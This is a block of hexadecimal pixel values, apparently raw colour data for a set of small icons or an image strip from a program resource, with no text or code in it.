8400FAFAFA00C1D4EC007AA5E500789AD10055AE610052A85B0052A85B0055A5
5E007ABB8300A1D4A700A9DAB000549B5C0070B37600549B5C0038843F00549B
5C004F9C5800518955000000000000000000729A8800FEFEFE00FEFEFE00FEFE
FE00FEFEFE00FEFEFE00E7D6C900E0A98700EBC7B000DDA17C00BC9F9000729A
8800729A8800ACC4B90000000000000000000000000081818100F9F9F900F9F9
F900DDDDDD00D5D5D500CDCDCD00CDCDCD00C1C1C100C1C1C100BDBDBD00BDBD
BD00F5F5F500F9F9F900818181000000000000000000B6D1EC00B6D1EC0096AA
BE00D6CAC400EFC3A800EFC3A800EFBEA200ECB39000ECB39000E9AA8400F1C9
B100A3B9D90082ABE40085B0F0000000000059B46500B8E3C000B8E3BF00B8E3
BF00B8E3BF00B8E3BF0099CFA2004F9C58008ECA92008ECA920085C88D0085C8
8D0082C58900549B5C005A935E00000000008CAD9E0094B3A50094B3A50094B3
A50094B3A50094B3A50094B3A50094B3A500DEAD9000C4AFA300D5D5D500BFBF
BF00A6A6A600A0A0A00091919100000000000000000081818100F9F9F900F9F9
F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F5F5F500F5F5F500EBEB
EB00EBEBEB00F9F9F90081818100000000000000000000000000BFD3EA00BFD3
EA00A0B8D0008E9FB2009A9CA500B3A4A000B3A4A000B3A4A0009A9CA500809C
BF0093B9EC0090B7EE00000000000000000059B46500B8E3C000B8E3C000B8E3
BF00B2DFB9008ECA920062A9680061AC690088CA8F008FCF98008ECA92008ECA
920085C88D0055A55E00629B6600000000000000000000000000000000000000
00000000000000000000000000000000000000000000ACACAC00CACACA00D2D2
D200CACACA00D2D2D200C5C7C200919191000000000081818100F9F9F900F9F9
F900D5D5D500CDCDCD00C1C1C100BDBDBD00BDBDBD00B6B6B600F9F9F900F9F9
F900F9F9F900F9F9F9008181810000000000000000000000000000000000B6D1
EC00B6D1EC00B7CEE600B6D1EC00A3B9D9009EB7D5009EBADC00ACC8E800A2C2
EE00A1C0EA0000000000000000000000000059B4650059B4650058B3640058B3
640055AE61007ABB8300000000009BD2A1006AB071004DA2560055A55E0072B7
7A005EA566005F9F650000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000B2B2B200D2D2
D200A0A0A00091919100C5C7C2008A8A8A00000000008D8D8D00F9F9F900F9F9
F900F9F9F900F9F9F900F9F9F900F5F5F500F5F5F500EBEBEB00F9F9F900F9F9
F900F9F9F900B6B6B600A5A5A500000000000000000000000000000000000000
000000000000B7CEE600B6D1EC00B7CEE600B5CBE700B5CBE700B4C9E9000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000004DA2
56005EA566000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000B2B2B200E9EF
EC009B9B9B00B2B2B200B2B2B2008A8A8A00000000008D8D8D00F9F9F900F9F9
F900F9F9F900F5F5F500F9F9F900F5F5F500F5F5F500EBEBEB00F9F9F900D5D5
D500A9A9A9009696960000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000007ABB
8300000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000A6A6A600E1E1
E100D2D2D200BFBFBF000000000000000000000000009D9D9D00F9F9F900F9F9
F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900A9A9
A9009D9D9D000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000A0A0
A0009B9B9B009B9B9B0000000000000000000000000000000000A5A5A5008D8D
8D008D8D8D008D8D8D008D8D8D008D8D8D008D8D8D008D8D8D0096969600B6B6
B600000000000000000000000000000000000000000000000000000000000000
0000000000005F5F5F0066676800696C6D00696C6D0096A9B400000000007070
7000696C6D00696C6D005F5F5F000000000000000000DB997100D5825000D17C
4A00DFA27E000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000C2907200A45F3A000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000009A9A
9A007D7D7D007D7D7D00727272006E6E6E008989890000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000626466008A8E9000A0A7AB00ADADAD009696960070707000707070009696
9600ADADAD00ADADAD009696960068686800E0A68300DFA38000EAC1AA00E9BE
A500DB997100DFA3800000000000000000000000000000000000000000000000
000000000000000000000000000000000000CCA07D00BD865B00B87D5500A764
3C00000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000009190
9000D6D2D100DEDDDD00DEDDDD00E1DEDD007272720000000000000000000000
0000000000000000000000000000000000000000000000000000000000006988
980063696C00D3D3CE00727D8000434344004343440050505000505050004545
4500434344007A7D7F00C2C2C2006E6E6E00DB966E00ECC8B200E7B89B00E7B8
9B00EAC1AA00DB997100E0A68300000000000000000000000000000000000000
000000000000000000000000000000000000C4895C00C5916700CCA07D00C290
7200B57A5200AA694500A45F3A009B513400A86D5A0000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000A9A9A900C2C2C100D4CFCE007D7D7D00AEAEAE0089898900727272007272
72006E6E6E00666666006666660072727200000000000000000054A9D4005372
810083848500D3D3CE00A4E2F80043434400BCBCBC00D3D3CE00C2C2C200ADAD
AD00434344003D8FC400C2C2C20083848500DD9E7800ECC8B200E9BEA500E5B1
9200E7B89B00EAC1AA00DB997100E1A786000000000000000000000000000000
00000000000000000000000000000000000000000000C68D6200D1A48200CCA0
7D00CB9D7A00C7987300C2916A00BE8D6500A768440000000000000000000000
000000000000000000000000000000000000CDCDCD00B3B3B300AEAEAE00AEAE
AE009A9A9A009A9A9A009A9A9A0085858400858584008989890085858400A19F
9E00D4CFCE00D4CFCE00E5E2E2006666660072BCDE0072BCDE00BEE5F600A6B9
BF0077797A00D3D3CE006B7F87004B4C4C006264660096969600707070006264
66004B4C4C005F717F00C2C2C20070707000ECC8B200E5B39600ECC8B200E9BE
A500E5B39600E7B89B00EAC1AA00DB997100E5B1920000000000000000000000
0000000000000000000000000000000000000000000000000000D0A07B00D7AD
8E00C9966E00C68D6200BD865B00BE8D6500BB87600084533E00000000000000
000000000000000000000000000000000000AEAEAE00E5E2E200D6D2D100D6D2
D100D6D2D100CBC5C400C2C2C100CDCDCD00CDCDCD00CDC9C900D9D5D5007272
7200B6AEAD00B6AEAD00D4CFCE006666660045A9D400E6F9FD00DDF6FF00BDEB
FA007C949D0096969600E8E8E800DDDDDD00BCBCBC0078888D006B889400D5D8
D900DDDDDD00C2C2C200969696003B66820000000000ECCAB600E7B89B00ECC8
B200E9BEA500E5B39600E7B89C00EAC1AA00DB997100E5B19200000000000000
0000000000000000000000000000000000000000000000000000D1A48200DCB5
9800D0A07B00C7987300CFA38100C2907200886B570086868600919191000000
000000000000000000000000000000000000B3B3B300E1DEDD00A6714C00A671
4C00A6714C00A6714C00A6714C00A6714C00A6714C00A6714C00D9D5D5007272
7200B9B2B000B8B0AD00D4CFCE006E6E6E004DAED600E2F6FC00D4F3FF00C9F0
FF00B7E5F70091AEBA00878B8C009696960078888D004BB0CF0046B5DC007584
890096969600878B8C00779AAF003189C1000000000000000000ECCAB600E7B8
9B00ECCAB600E9BEA500E9BEA500ECC8B200E0A68300DFA27E00000000000000
0000000000000000000000000000000000000000000000000000DDAD8B00E5BE
A200D8AA8900D9B19300CE9E7900A3795A0091919100A8A8A8006E6E6E000000
000000000000000000000000000000000000B9B9B900DEDDDD00B37E5800CD96
6E00D9AD9000D9AD9000D9AD9000D9AD9000D59E7500A6714C00D9D5D5007D7D
7D00B9B2B000B9B2B000D4D0CF007272720050B0D700E2F6FC00D4F3FF00C9F0
FF00C9F0FF00BDEBFA0091DBFB0055C0F10047C2F9003ABCF00046C4EC0045BD
E80041B4E60046B0E60083CAEC00338FC800000000000000000000000000ECCA
B600E7B89C00ECCAB600EECFBC00E5B19200D29A7A0089898900000000000000
0000000000000000000000000000000000000000000000000000E1B29100E8C5
AC00E5BEA200D8AA8900B48E730000000000A5A5A5007D7D7D00000000000000
000092493200AE7B6A000000000000000000B9B9B900E1DEDD00B37E5800CD96
6E00CD966E00CF987000D59E7500D59E7500D59E7500A6714C00D6D2D1008585
84003AA0410036933600D6D2D1007272720052B3D800E2F6FC00DDF6FF00D4F3
FF00BDEBFA0089D6F70068C9F5004BB3E90091DBFB0091DBFB0047C2F90037B5
EC0045BDE8004EBAE8008BD0F0003692CA000000000000000000000000000000
0000ECCAB600E7B89C00E6B59700D8A88B00D2D2D200B4B4B400898989008686
8600868686009696960000000000000000000000000000000000E8BFA200E8BF
A200E5BEA200B59D8A00B1B1B100B1B1B100000000000000000000000000A45F
3A00AC714B00A45F3A009D5B470000000000C2C2C100E2E0DF00B17C5700C790
6A00CD966E00CD966E00CD966E00CD966E00D59E7500A6714C00D9D5D5008989
89009FC8A3004FA85500D9D5D5007D7D7D0052B3D800E1F8FD00D4F3FF00AFE4
FA0085CFF1007ED0F50077D0F5004BB0E400A9E2F900B5E9FF009AE1FF0076D5
FE003ABCF0003CB4E9008FD5F1003894CB000000000000000000000000000000
000000000000EECFBC00E7B89C0092929200C5C5C500CDCDCD00C5C5C500C5C5
C500C5C5C500BFBFBF008686860000000000000000000000000000000000E8BF
A200CFB09B00B6B6B600BBBBBB00B1B1B1000000000000000000AF714500BD86
5B00BE8D6500BB8760009249320000000000CDCDCD00E1DEDD00B17C5700C38D
6700C38D6700C7906A00CD966E00CD966E00CD966E00A6714C00D9D5D5009190
9000C0BAB800BFB8B700D6D2D100858584004DB4D800E1F8FD00C9F0FF0097CF
E70083CAEC006EBEE50052B3D8003894CB00C9F0FF00DDF6FF00B5E9FF0094DF
FE007ED0F500A4E2F80083DCFB003692CA000000000000000000000000000000
00000000000000000000000000000000000096969600D2D2D200C8C8C800BFBF
BF00B4B4B400C5C5C500C5C5C500969696000000000000000000000000000000
000000000000C3C3C300BBBBBB000000000000000000C4895C00C9966E00CB9D
7A00BD865B00C2916A00A7643C0000000000CDCDCD00E1DEDD00AF7A5500B17C
5700B17C5700AF7A5500AF7A5500B17C5700B37E5800A6714C00D9D5D5009A9A
9A008989890089898900D9D5D5008989890090D1E7004DB4D800A4D9ED00D2EB
F500BDDEED0094C9DE0088C2DB006FB7D60068B8DD008FD7F5007ECFF5009CDB
F800A4E2F80085CFF10050A5D50072BCDE000000000000000000000000000000
00000000000000000000000000000000000096969600DDDDDD00C5C5C500A7A7
A700A7A7A700AAAAAA00D2D2D200898989000000000000000000000000000000
000000000000000000000000000000000000D8AA8900D9B19300D8AF9100CB98
7100C68D6200C89B7700B171490000000000D6D2D100F1EFEF00E2E0DF00E1DE
DD00E1DEDD00E1DEDD00E1DEDD00DEDDDD00DEDDDD00DEDDDD00EDECEB009A9A
9A00C7C0C000C0BAB800D9D5D50091909000000000000000000078C4E10078C4
E100D1EEF700F6FFFF00F6FFFF00C9F0FF004FACDA008FD7F500A4E2F8008FD5
F10061B1D90061B1D90000000000000000000000000000000000000000000000
00000000000000000000000000000000000099999900E2E2E200CDCDCD00AAAA
AA00000000008989890089898900898989000000000000000000000000000000
0000000000000000000000000000E1B29100E7C0A700E0B99E00D8AA8900D1A4
8200C7987300D1A48200BD865B0000000000D6D2D100D6D2D100D1D1D100CDCD
CD00C9C9C900C2C2C100B9B9B900B9B9B900B3B3B300B6AEAD00A9A9A900A4A4
A4009190900091909000DCD8D700919090000000000000000000000000000000
000064BDDD0094C9DE00E1F8FD00E2F6FC00AEDDF200B7E5F70071BFE10055AE
D600000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000AAAAAA00E2E2E200E5E5E500BFBF
BF00969696000000000000000000000000000000000000000000000000000000
0000000000000000000000000000E8BFA200E8BFA200E9C8AF00E7C0A700E5BE
A200DCB59800D7AD8E00CFA38100B57746000000000000000000000000000000
00000000000000000000D6D2D100DEDDDD00EDECEB00CDCDCD00CBC5C400CBC5
C400CBC5C400C7C0C000DEDDDD009A9A9A000000000000000000000000000000
000000000000A4D9ED0052B3D8009BD5EA0087CCE7004DAED60094C9DE000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000009D9D9D00E2E2E200EEEE
EE00969696000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000E8BFA200E0B99E00E1B29100E1B2
9100D8AA8900DCB59800CB9D7A00D1A482000000000000000000000000000000
0000000000000000000000000000DEDDDD00DEDDDD00E5E2E200DEDDDD00DEDD
DD00DEDDDD00DEDDDD00EDECEB00A4A4A4000000000000000000000000000000
000000000000000000000000000087CCE70078C4E10000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000AAAAAA009D9D
9D00969696000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000D9A78200E0B99E00000000000000000000000000000000000000
000000000000000000000000000000000000DEDDDD00CDCDCD00C7C0C000B9B9
B900B9B9B900B3B3B300B6AEAD00C9C9C9000000000000000000999999007E7E
7E007E7E7E00767676007E7E7E0076767600767676007676760076767600037E
26007E7E7E009595950000000000000000000000000000000000000000000000
000000000000000000005E9D63FF000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000C28339FF000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000085858500F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E900E9E9E900F1F1F100E9E9E90013853F003B9F
5B0008863700FAFAFA0085858500000000000000000000000000000000000000
00000000000066B06EFF46A250FF000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000C28339FFC28339FF000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000307079FF2D6D75FF2A6970FF27656CFF000000000000
0000000000000000000000000000000000000000000085858500E9E9E900E9E9
E900E9E9E900E9E9E900E9E9E900E9E9E900E9E9E900288F420046A4660081C1
960046A46600199047007E7E7E00000000000000000000000000000000000000
000066B06EFF46A250FF46A250FF3D8B44FF37833EFF327B37FF3D7F43FF6496
68FF000000000000000000000000000000000000000000000000000000000000
0000EF9227FFEF9227FFEE8D1CFFBA6A0EFFAD630DFFA05C0CFF9E6420FFAB81
50FF000000000000000000000000000000000000000000000000000000000000
0000000000000000000034757EFF77B7BFFF75B7BEFF2B6A71FF000000000000
000000000000000000000000000000000000000000007E7E7E00E9E9E900E9E9
E900E9E9E900E9E9E900E9E9E900E1E1E100288F420042A05E0081C1960066B4
810089C6A0004EAA7300279756000000000000000000000000000000000073BD
7CFF73BD7CFF96D19FFF94CF9CFF8FCD96FF8ACA91FF85C78BFF7ABE81FF65AD
6CFF4B9251FF68976BFF0000000000000000000000000000000000000000F19F
40FFF19F40FFF5B872FFF4B66EFFF4B469FFF3AF61FFF3AC5AFFF1A247FFEF91
24FFCD7610FFA98256FF00000000000000000000000000000000000000000000
000000000000000000003D7F87FF79B7C0FF77B7BEFF34727AFF000000000000
0000000000000000000000000000000000000000000085858500E9E9E900E9E9
E900E9E9E900E9E9E900E9E9E900037A1D0042A05E007FC0950069B5840060B2
7F0073BB8F0090CBA90059B28000309E640000000000000000000000000073BD
7CFF79C483FF9ED7A7FF9BD4A4FF97D29FFF92CF9AFF8DCC95FF88CA90FF7AC2
82FF7EC485FF5DA463FF69996CFF00000000000000000000000000000000F19F
40FFF2A54BFFF5BE7FFFF5BC79FFF5B974FFF4B56CFFF4B265FFF3AF5FFFF2A5
4BFFF2A750FFEE8913FFAB8456FF000000000000000000000000000000000000
000000000000000000004C8D97FF7EBAC3FF7CBAC2FF43838BFF000000000000
0000000000000000000000000000000000000000000085858500F1F1F100E9E9
E900E9E9E900E9E9E900E9E9E90012843000128A3A003B9F5B0087C49D0066B4
81008FCAA80054AE7B0033A36D003BA775000000000000000000000000000000
000079C483FF6AB774FF6AB774FF54AB5EFF4EA357FF499B51FF63AC6BFF83C3
8BFF87C98FFF82C689FF509756FF699D6DFF0000000000000000000000000000
0000F2A750FFF2A750FFF1A247FFED8812FFDF8011FFD47910FFEE8F20FFF2A9
54FFF3AE5DFFF2AA56FFD67A10FFD67A10FF0000000000000000000000000000
000000000000458A95FF6DABB3FF82BDC6FF7FB9C4FF65A3ACFF34757EFF0000
0000000000000000000000000000000000000000000085858500968A21009A92
28009E993000A29F3600A4A23C00E9E9E900E9E9E900128A3A0089C6A0006AB7
880090CBA9002F9D620085858500000000000000000000000000000000000000
0000000000006AB774FF6AB774FF000000000000000000000000000000005BA2
62FF86C68EFF88C98FFF6FB376FF699D6DFF0000000000000000000000000000
000000000000F2A750FFF2A750FF00000000000000000000000000000000D184
2CFFF3AC5AFFF3AE5DFFF09933FFB68751FF0000000000000000000000005299
A5FF70ACB7FF8AC0CAFF89C1CAFF74B0B9FF70ACB6FF82BDC5FF7DB9C3FF5B9B
A3FF35737BFF000000000000000000000000000000008989890091831C00CAC4
8F00CDC99300CDC99300A4A23C00E9E9E900E9E9E900168F43008DC9A5006EB9
8D0090CBA90033A36D0085858500000000000000000000000000000000000000
000000000000000000006AB774FF000000000000000000000000000000000000
000054A05BFF48954FFF408B47FF478B4EFF0000000000000000000000000000
00000000000000000000F2A750FF000000000000000000000000000000000000
0000D48221FFC67517FFB76C15FFB06E23FF000000000000000061A6B2FF83BB
C6FF92C5CFFF8EC3CCFF64A4AFFF77AAB2FF75A7AFFF5B9BA4FF7FB9C4FF80BC
C5FF6BA9B1FF3F7A82FF0000000000000000000000008989890091831C00CAC4
8F00B9B26E00CDC99300A29F3600E9E9E900E9E9E900199047008FCAA80090CB
A90090CBA9003BA7750085858500000000005DA964FF4C9C54FF48954FFF4990
4FFF00000000000000000000000000000000000000004A814DFF000000000000
000000000000000000000000000000000000E18B26FFD27C17FFC67517FFBA73
1FFF0000000000000000000000000000000000000000966935FF000000000000
000000000000000000000000000000000000000000000000000062A7B3FF98C8
D3FF96C7D1FF6DABB7FF5E9EA7FF00000000000000005E9EA7FF5E9EA7FF84BE
C7FF82BDC5FF3D7D86FF000000000000000000000000898989008F7F1600C4BB
8700B7AE6A00CAC48F009D982F00E9E9E900E1E1E10027975600289A5A00309E
640033A36D0033A36D00898989000000000084C38BFF80C389FF8DCC95FF83C4
8AFF54995AFF0000000000000000000000000000000034873AFF458B4AFF0000
000000000000000000000000000000000000F2AA55FFF2A750FFF4B265FFF2A9
54FFC27C2AFF00000000000000000000000000000000966935FF966935FF0000
000000000000000000000000000000000000000000000000000062A7B3FF9CCA
D4FF99C9D4FF559EAAFF00000000000000000000000000000000448893FF88BF
C9FF85BFC8FF41848CFF0000000000000000846912008A7413009E8E3A00C4BB
8700B5AC6500CAC48F00AEA85400A1A33300A4A23C00E1E1E100D5D5D500D5D5
D500D5D5D500F1F1F10089898900000000008ECD96FF75BF7EFF98D2A1FF94CF
9CFF86C78DFF5EA765FF398640FF347E3AFF2E7633FF34873AFF458B4AFF478D
4CFF00000000000000000000000000000000F2AA55FFF1A043FFF5BA76FFF4B6
6EFFF3AC5AFFEE8B17FFB1660EFFA65F0DFF99580CFFC9730FFFC26F0FFF9669
35FF00000000000000000000000000000000000000000000000056A1AEFF9FCC
D7FF9DCAD5FF56A1AEFF00000000000000000000000000000000468D98FF8CC1
CBFF89C1CAFF458791FF00000000000000007A580300A08D4200C0B57F00B7AE
6A00B2A76000BBB37300CBC79000B2AC59009D982F00D5D5D500E9E9E900F1F1
F100F1F1F100F1F1F1008585850000000000000000008ECD96FF85C98EFF9BD4
A4FF8FCE98FF92CF9AFF8DCC95FF88CA90FF83C68BFF7EC485FF79C17FFF478D
4CFF478D4CFF00000000000000000000000000000000F4B368FFF3AD5CFFF5BC
79FFF4B469FFF4B56CFFF4B265FFF3AF5FFFF2AA56FFF2A750FFF1A349FFC571
0FFFC5710FFF00000000000000000000000062A7B3FF62A7B3FF62A7B3FFA2CD
D8FFA0CCD7FF56A1AEFF63A8B4FF75B3BDFF56A6B1FF4D9BA6FF4D9BA6FF90C4
CEFF8DC2CCFF4F99A4FF4F99A4FF4F99A4FF0000000090772D00A08D4200C1B6
8100B2A76000CAC48F00AAA14E00968A2100E1E1E100D5D5D500FAFAFA00E9E9
E900DDDDDD00B2B2B200A9A9A90000000000000000000000000090CF97FF79C3
83FF89CA92FF94D09CFF95D19EFF90CF99FF8CCB94FF87C98FFF80C487FF4E95
54FF478D4CFF0000000000000000000000000000000000000000F4B46AFFF2A5
4BFFF3AF5FFFF4B770FFF5B872FFF4B56BFFF3B063FFF3AE5DFFF2A852FFD278
10FFC5710FFF0000000000000000000000000000000062A7B3FF66B1C1FF74B8
C7FF74B8C7FF68ABB7FF56A1AEFF000000000000000056A6B1FF6CABB6FF93C5
CFFF8FC4CEFF63A1ABFF4F99A4FF00000000000000009595950090772D00A493
4700C1B68100A493470091831C00E1E1E100D5D5D500D5D5D500FAFAFA00D5D5
D500A9A9A900A1A1A100000000000000000000000000000000000000000089C9
90FF89C990FF64B46CFF50A65AFF4B9E53FF45964DFF4FAC58FF5BA262FF5BA2
62FF000000000000000000000000000000000000000000000000000000000000
0000F3AF5FFFEF9428FFE58311FFD87B10FFCB7410FFEE8C1AFFEB8712FFEB87
12FF00000000000000000000000000000000000000000000000062A7B3FF66B1
C1FF7EBCCAFF56A1AEFF0000000000000000000000000000000061ABB6FF6DAB
B6FF69A8B4FF4F99A4FF000000000000000000000000A1A1A100F1F1F1008476
13009E8E3A0086760800F1F1F100F1F1F100F1F1F100F1F1F100E9E9E900A9A9
A900A1A1A1000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000004FAC58FF4FAC58FF0000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000D9903AFFEB8712FF0000
00000000000000000000000000000000000000000000000000000000000062A7
B3FF62A7B3FF0000000000000000000000000000000000000000000000006CB1
BBFF6CB1BBFF0000000000000000000000000000000000000000A9A9A9009595
950080660500959595008989890089898900959595008989890099999900B2B2
B200000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000004FAC58FF000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000EB8712FF000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000499FD5004297D0003E91
CD0096C6DE000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000066BBE600C3EBF7007EE1F6009EE6
F7003E91CD008EBFD70000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000079797900545454004D4D
4D00454545003E3E3E00363636002E2E2E002727270027272700191919001919
1900191919001919190019191900000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000A0694F008D563C008D563C0098675000000000000000
00000000000000000000000000000000000043AFE300C5F4FB0042D6F10047DB
F50081E0F5003C8ECB008EBFD700000000000000000000000000000000000000
000000000000000000000000000000000000000000009A9A9A00D1D1D100CACA
CA00C2C2C200BDBDBD00B2B2B200AAAAAA00A1A1A1009A9A9A00929292008888
8800868686008686860019191900000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000006393
B90021669C0081A7C50000000000000000000000000000000000000000000000
0000A2644700B17F5600D5B69200DAC2A500DAC2A500D2B38F00AA795100905F
4700000000000000000000000000000000004CB3E400BAEFFA0038D1F10027C4
EE004DDCF60081E0F5003C8ECB0086B7D1000000000000000000000000000000
00000000000000000000000000000000000000000000A1A1A100C2C2C200B2B2
B200888888008888880092929200797979006E6E6E0074747400545454004D4D
4D0061616100797979001C1C1C00000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000006E9BC100548C
BB0088B4DD00175E96000000000000000000000000000000000000000000A25B
3A00CBA67C00D8BA9E00C29B7600B6896100B2845D00BD957100D5B69200C4A2
760088553C0000000000000000000000000043AFE300F0FCFE00AFEEFA0047DB
F50027C4EE0047DBF50081E0F5003E91CD007FB2CD0000000000000000000000
0000000000000000000000000000000000000000000000000000A1A1A100A1A1
A10000000000616161006161610045454500454545004D4D4D00363636000000
00004D4D4D006161610000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000007AA3C9006396C4009CC0
E4006598C7002F70A30000000000000000000000000000000000B2754800CFA9
8000DABBA100BD906500B98A6100B6885E00B2845D00AF825B00AF825B00CDA9
8C00C4A2760094604700000000000000000090CFEE0043AFE30043AFE300AFEE
FA0046D6F2002AC9EF0038D1F1008CE7F8003C8ECB004E93C000287DD6002B84
D8005EA4CC00000000000000000000000000000000000000000000000000AAAA
AA00AAAAAA00AAAAAA00CACACA00BDBDBD00BDBDBD00C2C2C200888888007979
790079797900000000000000000000000000000000000000000000000000E8CE
B900DAB19100D3A47F00D09F7B00D2A58300ADA0980074A2CD00AACBE80074A2
CD003F7AAD000000000000000000000000000000000000000000BE905D00E1C2
A700C5966A00C5966A00E1CBB700FEFEFE00FEFEFE00EADCD000B2845D00B284
5D00D4B49800AA7951000000000000000000000000000000000043AFE300F0FC
FE00BAF1FB007EE1F60027D2F00036D4F50081E0F5003DA8E3009FF3FC00A8F5
FC002A80D7005EA4CC000000000000000000000000000000000000000000B2B2
B200BDBDBD00B2B2B200A1A1A1009A9A9A009A9A9A009A9A9A00A1A1A1009292
9200797979000000000000000000000000000000000000000000E8C8AE00E8C8
AE00F5E1CC00F8E6D300F8E6D300F3DDC800DFB99B00C7A7900085ADD5004E86
B9000000000000000000000000000000000000000000C48F5000D8BA9E00D5AC
8800C5966A00C1906800BD906500EADCD000FBF8F500B98A6100B98A6100B689
6100C49C7700D5B692009E68500000000000000000000000000090CFEE0043AF
E30044B1E30075C4EA00A8F5FC0038D1F1004DDCF60064E4F7003BCEF20031C9
EF0084EFFB00287DD600569BC50000000000000000000000000000000000C2C2
C200DADADA00AAAAAA00D1D1D100F1F1F100F1F1F100CACACA00AAAAAA00C2C2
C2007979790000000000000000000000000000000000F3DDC800EDD0B600F8E8
D900F5DEC800F3D8BC00F3D6BA00F3DDC800F5E1CC00DFBA9C009F9694000000
00000000000000000000000000000000000000000000C0813B00E3C5AD00D0A1
7500C4986A00C5966A00C5966A00EEE0D400FAF7F400B98A6100BD906500B98A
6100BD916800DFC4A90094553A00000000000000000000000000000000000000
00000000000090CFEE006EC3EA007EE1F60038D1F1005CDBF50068DFF60046D6
F20031C9EF0084EFFB00287DD600569BC5000000000000000000CACACA00DADA
DA00DADADA00F1F1F100DAD1CC00D5AB9000E3AD8900E6D9D300E5E5E500CACA
CA00AAAAAA0086868600000000000000000000000000EDD0B600F8E6D300F5E1
CC00F3DDC800F3D8BC00F3D8BC00F3D6BA00F3DDC800F3DDC800D2A583000000
00000000000000000000000000000000000000000000C6884000E4C9AF00D0A2
7900CB9C7000C4986A00C5966A00FEFEFE00FEFEFE00C5966A00C1906800C596
6A00C4986A00DFC4A90097583A00000000000000000000000000000000000000
00000000000043AFE300D5F7FC0088E7F8007EE1F6007EE1F6007EE1F60088E7
F8004DDCF60031C9EF00A8F5FC00287DD6000000000000000000CACACA00F1F1
F100DADADA00F1F1F100A49A9300E4B89B00EBB79800E7B08F00FAF9F900CACA
CA00CACACA0061616100000000000000000000000000F0CEAD00F8E8D900F5E1
CC00F3DDC800F3D8BC00F3DDC800F3D8BC00F3D6BA00F8E6D300D2A583000000
00000000000000000000000000000000000000000000D29D5A00DFBB9E00DAB2
9100CB9C7000CF9F7400CB9C7000DABBA100DABBA100C4986A00C4986A00C498
6A00CFA98000D8BA9E00AA6D5000000000000000000000000000000000000000
00000000000043AFE300BAF1FB007EE1F6007DE4F70088E7F80088E7F800BAF1
FB008ADAF3004DDCF600C0F8FD002F8FDA000000000000000000D1D1D100F1F1
F100E5E5E500FAF9F900A49A9300DAB8A100E5BAA000D8AF9500F6F6F600D1D1
D100DADADA0074747400000000000000000000000000F4D3B300F9EDE200F5E1
CC00F5DEC800F5DEC800F3DDC800F3D8BC00F3D8BC00F8E7D600D7A985000000
0000000000000000000000000000000000000000000000000000CD9B6700E6CA
B200D0A27900D0A17500CF9F7400FBF8F500FBF8F500CB9C7000CB9C7000CDA0
7600DABBA100B8895A0000000000000000000000000000000000000000000000
00000000000043AFE300DEF8FC0088E7F8007DE4F70093E9F800BAEFFA0043AF
E30043AFE300F0FCFE003197DD0069AED5000000000000000000E5E5E500F1F1
F100E5E5E500F1F1F100DFD4CC00A49A9300A49A9300DAD1CC00F1F1F100D1D1
D100CACACA0092929200000000000000000000000000F3D8BC00F8E8D900F8E8
D900F5E1CC00F5E1CC00F3DDC800F5DEC800F9E2CC00F5E1CC00DEB797000000
0000000000000000000000000000000000000000000000000000D29D5A00D9B1
8B00E6CAB200D6A87C00D0A27900E1C2A700E1C2A700D0A17500D0A17500DABB
A100D5AC8800B275480000000000000000000000000000000000000000000000
00000000000090CFEE0044B1E300CEF5FC0088E7F800A0ECF90043AFE30043AF
E300FEFFFF0038A0DF0069AED50000000000000000000000000000000000F1F1
F100F1F1F100F1F1F100F1F1F100FAF9F900FAF9F900F1F1F100D1D1D100E2E2
E200BDBDBD0000000000000000000000000000000000F8E8D900F9E2CC00F9ED
E200F8E7D600F5E1CC00F9E2CC00F5E1CC00F8E8D900EDD0B600ECD3BE000000
000000000000000000000000000000000000000000000000000000000000D190
